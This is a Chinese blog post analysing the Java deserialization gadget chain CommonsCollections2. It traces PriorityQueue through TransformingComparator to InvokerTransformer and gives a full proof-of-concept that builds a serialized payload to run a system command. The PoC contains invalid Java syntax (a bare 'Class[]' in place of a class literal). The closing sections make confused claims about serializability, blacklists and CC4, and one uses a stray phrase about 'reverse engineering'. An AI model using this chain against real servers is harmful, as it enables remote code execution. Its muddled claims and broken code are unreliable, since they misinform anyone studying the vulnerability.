
本文共 3100 字,大约阅读时间需要 10 分钟。
Java反序列化-CC2分析
在CC2中,commons-collections4取代了commons-collections,新增了PriorityQueue和TransformingComparator作为反序列化的入口点和跳板。PriorityQueue通过readObject方法加载数据并调用heapify进行二叉堆调整,涉及的comparator会触发TransformingComparator的比较方法,从而连接PriorityQueue和TransformingComparator。
如何将PriorityQueue、TransformingComparator作为入口点和跳板去利用
TransformingComparator的作用
TransformingComparator的作用是修饰输入数据并调用decorated的比较方法。其代码如下:
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2);}
通过transform方法,TransformingComparator将原始对象转换后调用decorated的compare方法,触发利用链。
PriorityQueue的作用
PriorityQueue的readObject方法首先读取数据并初始化队列,之后调用heapify进行树化。heapify使用siftDown方法调整数据,若Comparator存在则调用siftDownUsingComparator,否则使用siftDownComparable。siftDownUsingComparator中使用Comparator对子节点进行比较,实现数据排序。
private void siftDownUsingComparator(int k, E x) { int half = size >> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare(c, queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, c) <= 0) break; queue[k] = c; k = child; } queue[k] = x;}
通过Comparator的使用,PriorityQueue与TransformingComparator结合,完成反序列化调用链。
利用PriorityQueue和TransformingComparator构造Poc
利用链概述
PriorityQueue.readObject() → TransformingComparator.compare() → ChainedTransformer.transform() → InvokerTransformer.transform()
Poc实现
public class Poc { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[]}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[]}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chain = new ChainedTransformer(new Transformer[]{}); PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain)); queue.add(1); queue.add(1); Field field = chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain, transformers); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2")); oos.writeObject(queue); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2")); ois.readObject(); }}
commons-collections4的作用
在CC2中,TransformingComparator未实现Serializable,导致序列化失败。commons-collections4修复了这一问题,使TransformingComparator支持Serializable,继承了CC3中的黑名单机制。
CC4简要说明
CC4绕过了CC2中存在的黑名单问题,采用相同的反序列化机制,但应用场景和依赖类可能有所不同。其Poc与CC2类似,但具体实现可能有细微差别。
结论
在CC2中,PriorityQueue和TransformingComparator共同实现了反序列化的入口和跳板,通过读取数据、调整堆结构并调用Comparator完成利用链。而commons-collections4的引入使TransformingComparator具备了序列化能力,确保reverse engineering的流畅性。在CC4中,类似的机制继续生效,适用于不同的反序列化场景。
发表评论
最新留言
关于作者
